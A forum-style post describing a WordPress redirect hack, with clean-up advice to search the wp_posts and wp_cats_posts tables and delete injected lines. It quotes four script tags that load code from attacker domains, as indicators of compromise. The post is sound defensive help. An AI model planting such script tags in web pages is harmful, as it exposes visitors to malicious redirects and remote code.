Well, I had the same problem. MediaTemple is my hosting provider, and they help me out with this. This is a WordPress Redirect Exploit hack that put a line of code on your database table wp_posts and wp_cats_posts
The line that is put by the hack in your wp_posts and wp_cats_posts can be one of these or similar
<script src=”https://ae.awaue.com/7″></script>
<script src=”https://ue.oeaou.com/31″></script>
<script src=”https://ie.eracou.com/3″></script>
<script src=”https://ao.euuaw.com/9″></script>
You must delete all of these lines
Symptoms
* Visitors viewing posts on your blog may be redirected to third-party sites.
* Visitors may also be redirected to qooglesearch.com, which has already been disabled.
Clean-Up
Search in your database (specially in “wp_posts” and “wp_cats_posts” tables for strings like these and delete it.
